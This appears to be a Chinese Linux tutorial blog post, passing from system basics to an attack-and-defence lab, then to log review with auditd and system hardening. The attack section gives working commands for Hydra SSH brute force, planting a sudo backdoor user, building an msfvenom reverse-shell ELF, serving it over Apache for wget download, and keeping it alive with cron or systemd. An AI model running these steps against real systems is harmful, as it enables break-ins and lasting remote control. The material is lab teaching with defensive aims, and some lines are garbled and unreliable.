一、Linux系统

(一)Linux的起源

    林纳斯·本纳第克特·托瓦兹——linux之父概况著名的电脑程序员、黑客。Linux内核的发明人及该计划的合作者。托瓦兹利用个人时间及器材创造出了这套当今全球最流行的操作系统(作业系统)内核之一。

(二)Linux系统简介

    Linux是一种开源的类Unix操作系统内核,由Linus Torvalds于1991年首次发布。它基于POSIX和UNIX的多用户、多任务设计理念,广泛应用于服务器、嵌入式设备和个人计算机领域。Linux的核心特点是开源、高度可定制和强大的命令行工具支持。

   Linux 发行版是将 Linux 内核、开源软件(如 Shell、编译器、桌面环境、应用程序)及系统工具整合打包,并提供安装、更新、维护机制的完整可直接使用的操作系统套件。

(三)Linux核心组件

内核(Kernel)
负责管理硬件资源(CPU、内存、设备驱动)和提供系统调用接口。内核版本号遵循“主版本.次版本.修订号”格式(如5.15.0),次版本为偶数表示稳定版。

Shell
用户与内核交互的接口,常见的有Bash(Bourne-Again Shell)、Zsh和Fish。支持脚本编程,用于自动化任务。

文件系统
采用层级目录结构,根目录为/。常见文件系统包括Ext4(默认)、XFS(高性能)和Btrfs(支持快照)。

发行版分类

主流发行版

  • Debian系:Ubuntu(桌面友好)、Debian(稳定优先)。
  • Red Hat系:Fedora(前沿技术)、CentOS/RHEL(企业级)。
  • Arch系:Arch Linux(滚动更新,高度定制)。

特殊用途发行版

  • Kali Linux(渗透测试)。
  • Alpine Linux(轻量级容器环境)。

(四)Linux目录

二、Linux基础命令

(一)入门命令行

打开终端:Ubuntu 可通过快捷键 Ctrl+Alt+T ,Kali 默认桌⾯有终端图标
命令格式: 命令 [选项] [参数] (例: ls -l /home )
核⼼快捷键:

  • Tab :⾃动补全命令 / 路径(⼊⻔必备,减少输⼊错误)
  • Ctrl+C :终⽌当前命令(卡顿时常⽤)
  • Ctrl+L :清空终端屏幕
  • ↑↓ :查看历史命令

(二)文件与目录操作

(三)权限管理基础

(1)权限表示规则

  • 示例: -rwxr-xr-- (共 10 位)
  • 第 1 位:⽂件类型( - 普通⽂件、 d ⽬录、 l 链接)
  • 第 2-4 位:所有者权限( r 读、 w 写、 x 执⾏)
  • 第 5-7 位:所属组权限
  • 第 8-10 位:其他⽤户权限

(2)权限数字表示法

  • 核⼼规则: r=4 、 w=2 、 x=1 ,权限值为对应权限数字之和
  • 示例:
  • rwx (4+2+1=7):完全权限
  • r-x (4+0+1=5):读 + 执⾏权限
  • r-- (4+0+0=4):仅读权限

(3)权限修改命令(chmod)

(四)用户与组管理

三、Linux系统基础配置与操作

(一)网络配置基础

  • 查看 IP 地址: ifconfig 或 ip addr
  • 测试⽹络连通性: ping www.baidu.com (Ctrl+C 终⽌)
  • 查看端⼝占⽤: netstat -tulnp 或 ss -tulnp (需安装对应⼯具)

(二)软件安装与卸载

(1)Debian 系列(Ubuntu/Kali)

(2)RedHat 系列(CentOS)

(三)进程管理基础

四、Linux日志与文件编辑基础

(一)常用文件编辑器(vim)

  • 打开⽂件: vim test.txt (⽆该⽂件则创建)
  • 编辑模式:按 i 进⼊插⼊编辑状态
  • 保存退出:按 Esc 退出编辑模式,输⼊ :wq (保存并退出)
  • 强制退出:输⼊ :q! (不保存退出)
  • 核⼼快捷键:
  • dd :删除当前⾏
  • yy :复制当前⾏
  • p :粘贴复制内容
  • :/关键词 :查找⽂件中的关键词(按 n 下⼀个,N 上⼀个)

(二)日志查看常用命令

五、Linux系统安全风险

(一)Linux系统服务安全:SSH 服务攻防实战

1. SSH 协议基础

  • 定义:类似 Windows RDP 的远程操作协议,⽀持跨地域远程控制 Linux 服务器
  • 应⽤场景:⽆需现场操作机房或云服务器,通过⽹络即可完成管理。

    SSH 类似 Windows 的 RDP,以命令行为主(RDP 以图形化桌面为主),实现 “远程如同本地操作” 的效

2. 环境配置实操

(1)包管理器使⽤
  • 作⽤:Linux 安装软件的核⼼⼯具(类似⼿机应⽤商城)
  • 主流类型:
  • RedHat/CentOS: yum
  • Ubuntu/Kali: apt
  • 关键操作:修改镜像源(国内推荐阿⾥云镜像:https://developer.aliyun.com/mirror/),解决海外源下载慢问题
(2)SSH 安装与配置步骤

3. SSH 攻击实战

(1)漏洞排查
  • 参考链接:https://blog.csdn.net/weixin_44537595/article/details/109254275
  • 操作逻辑:先查询 SSH 版本,判断是否存在历史漏洞,若版本⾼于漏洞影响范围则转向暴⼒破解
(2)暴⼒破解(Hydra ⼯具)- kali linux系统⾃带

     Hydra是一个开源的密码破解工具,主要用于网络安全的渗透测试。它可以对登录页面进行暴力破解攻击,支持多种协议,包括HTTP、HTTPS、FTP、SSH、Telnet等。

  • 原理:通过批量尝试密码组合猜测系统密码的攻击⽅式
  • 核⼼⼯具:Hydra(⾃动读取密码本,批量尝试登录)
  • hydra -l 【⽤户名,如root】 -P 【密码字典路径】 【ssh://⽬标机IP】

法律问题:未经授权对系统进行密码破解是违法行为,仅可在自己拥有或获得明确许可的系统上使用

  • 前提条件:需准备密码本(包含⼤量可能的密码组合)
  • ssh远程连接

  • (3)后⻔⽤户植⼊
  • 攻击逻辑:避免密码被修改后失去控制权,在⽬标系统植⼊后⻔⽤户
  • 核⼼⽬的:实现⻓期控制,应对⽬标⽤户定期修改密码的情况
  • 新建⽤户:useradd -m 【⽤户名】
  • 设置密码:passwd 【⽤户名】
  • 临时以root权限执⾏指令:

            sudo 【具体命令】
            配置sudo权限:
                     nano /etc/sudoers 增加:
                   【⽤户名】 ALL=(ALL:ALL) ALL

  • 设置⽤户root权限:
                   nano /etc/passwd
(4)⽤户和组管理
  • ⽤户(user)
  • 每个使⽤Linux系统的个体或进程都需要⼀个⽤户账户,系统资源访问的最⼩权限单元
  • root⽤户:UID=0,拥有最⾼权限
  • 系统⽤户:UID 1-999(通常⽤于服务进程)
  • 普通⽤户:UID ≥1000(⼿动创建的⽤户)

  • 组(group)
  • 批量管理⽤户权限的集合
  • 主组(Primary Group):⽤户创建⽂件时默认归属组
  • 附加组(Supplementary Group):⽤户可加⼊的额外权限组

更改⽂件所有者

(二)⽊⻢⼊侵检测:⻓期控制技术

1. ⽊⻢核⼼概念

定义:伪装成合法软件、隐蔽运⾏在⽬标设备中,⽤于⻓期控制或窃取数据的恶意程序

关键区别:与向⽇葵等远程⼯具不同,⽊⻢具备 “伪装性” 和 “隐蔽性”,⽤户不知情

危害:设备被控制后成为 “⾁鸡”,攻击者可随时发送命令执⾏操作

2. ⽊⻢攻击三步骤

(1)制作⽊⻢(MSF ⼯具)

⼯具说明:Kali ⾃带 MSF 框架(之前 Windows 课程 “永恒之蓝” 已使⽤)
⽣成命令:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=攻击机ip(Kali) LPORT=9999 -f elf -o shell.elf

(2)启动控制程序

msfconsole

use exploit/multi/handler

set payload linux/x64/shell/reverse_tcp

set lhost 攻击机ip(Kali)

set lport 9999

run

(3)植⼊与启动⽊⻢

植⼊⽅式:通过 SSH 权限将⽊⻢⽂件传输⾄⽬标 Ubuntu 系统

1. 在Kali中开启Apache服务,供Ubuntu下载:

     # 将当前目录下的 shell.elf 移动到 /var/www/html 目录

     > mv shell.elf /var/www/html

     # 启动Apache,提供下载服务

     > service apache2 start

2. 利⽤SSH控制Ubuntu下载⽊⻢:

      # 从指定地址下载⽂件并保存为当前⽬录的shell.elf

      wget http://攻击者ip(Kali)/shell.elf -O shell.elf

启动问题:直接执⾏ ./shell.elf 可能提示 “权限拒绝”,需解决权限问题

# 查看文件权限 (或者 ls -l)

> ll

# 修改文件权限

> chmod +x shell.elf

# 增加执行权限后,运行木马

> ./shell.elf

核⼼需求:实现⽊⻢ “⾃动复活”,避免意外退出或服务器重启后失去控制

3. 三种权限维持⽅式对⽐

(1)计划任务

      计划任务Cron 是 Linux 中的一个定时任务调度程序,用于在特定的时间或周期性地执行命令或脚本。

     # 查看任务(列出当前用户已配置的所有定时任务)

     > crontab -l

     # 编辑任务(新增、修改或删除当前用户的定时任务配置)。

      > crontab -e

格式:* * * * * 命令/脚本路径

用IA豆包辅助写Linux命令

(2)系统启动项任务

   系统启动项表示在系统开机时就会自行启动的项目任务

查看系统启动项

ls /etc/init.d/

(3)自启动服务

   系统启动服务表示在系统服务后台自行启动的任务

      #查看服务配置文件

       ls /etc/systemd/system

      #创建服务配置文件

       nano /etc/systemd/system/test.service

服务配置(systemd unit)

        /etc/systemd/system/test.service

服务配置完毕后,重新启动服务

(4)三种任务方式对比

六、安全防护及加固:从防御视⻆排查与加固

(一)Linux⽇志排查:服务器的 “监控录像”

(1)基础⽇志查看

(2)⾼效筛选⼯具:journalctl

     #查看当天所有日志(可能需要管理员权限)

     sudo journalctl

     # 查看特定服务的日志,例如ssh服务

      sudo journalctl -u ssh

       #查看特定时间段的日志

       sudo journalctl --since "2024-06-20 18:00:00" --until "2024-06-20 20:00:00"

       #查看ssh的日志

       sudo journalctl -u ssh | grep 'Failed password' | tail

       sudo journalctl -u ssh | grep 'Accepted password' | tail

(3)⾼级监控⼯具:auditd(防⽇志删除)

     auditd 是 Linux 系统内置的审计框架,通过内核级审计机制实现文件操作、命令执行等行为的日志记录,具备高可靠性。

    1. 安装auditd(Ubuntu默认没装)

       apt install -y auditd

     2. 启动服务

       systemctl start auditd

    3. 监控 useradd 命令

       auditctl -w /usr/sbin/useradd -p x -k useradd_exec

    参数说明:-w指定监控⽬录,-p rwxa监控读 / 写 / 执⾏ / 属性变更,-k设置监控标识

    4. 查看监控记录

     ausearch -k useradd_exec

(二)重点排查项:逐个揪出⿊客痕迹

(1)Linux可疑账户排查

        A、查看具有sudo权限的用户

        more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

        more /etc/sudoers | grep -v "^L#\i|^n$u" | xgre系p "A统LL=(日ALL:志ALL)"

        B、查看超级用户(uid=0)

        awk -F: '$3==0{print $1}' /etc/passwd

       C、可采取的措施

        # 强制用户下线

          pkill -KILL -u hack

        # 禁用用户

          usermod -L hack

        # 恢复用户

          usermod -U hack

       # 删除用户

          userdel hack

       # 删除用户与主目录

         userdel -r hack

(2)分位析可疑进程

      Linux通过进程模型实现了多任务处理和并发执行,允许同时运行多个进程。

      # 动态查看进程,看CPU、内存情况

         top

      # 查看进程

        ps -ef

      # 根据CPU 使用情况排序进程 CPU占用率过高且名字可疑,大概率是中了挖矿病毒了

        ps aux --sort -pcpu

      # 根据内存排序

       ps aux --sort -pmem

      # 强制终止进程

       kill -9 (pid)

(3)分位析网络连接

      分析可以端口连接

        netstat -anop -A inet   # 查看IPv4和IPv6连接情况

或者

        netstat -ntu

      在最新的Linux发行版中,通常更推荐使用ss(socket statistics)命令来替代netstat命令

        ss -ntap

(4)分位析计划任务

      查看计划任务 不知道-u则查看当前用户

       crontab -l -u 用户名

     删除指定用户所有计划任务

       crontab -r -u root

     编辑当前用户计划任务

       crontab -e

(5)分位析启动项

       快速查看启动项:

         centos

         chkconfig --list

        #未安装则执行:yum install chkconfig

         ubuntu

         sysv-rc-conf --list

        #未安装则执行:apt install sysv-rc-conf

(6)分位析服务

     查看所有已启用的服务

      systemctl list-unit-files --type=service --state=enabled

(三)Linux 系统加固核⼼操作

   (1)账位户加固

          删除陌生账户、无用账户

            userdel 陌生账户名

          给root账户设强密码

             passwd root

          禁止root远程登录(修改SSH配置)

             nano /etc/ssh/sshd_config

               把PermitRootLogin yes 改成

                     PermitRootLogin no

          重启SSH服务

             systemctl restart sshd

(2)岗防位火墙加固

   防火墙就是根据系统管理员设定的规则来控制数据包的进出,主要是保护内网的安全

   核⼼作⽤:只允许合法请求进⼊,拒绝陌⽣连接,阻断⽊⻢通信

(3)其他关键加固项

      关闭无用服务:

              systemctl disable 无用服务名

       定期更新系统:

              Ubuntu系统更新(修复已知漏洞)

              apt update && apt upgrade -y && apt full-upgrade -y

       Centos系统更新

              yum update -y && yum upgrade -y

        重启使内核更新生效

               reboot

       限制文件权限:

             chmod 700 /root/

(4)总结

  • 核⼼逻辑:⽹安的本质是 “攻防对抗”
  • 攻击视⻆:隐蔽维持控制(后⻔、计划任务、服务伪装)
  • 防御视⻆:预判攻击路径,排查痕迹,加固漏洞
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐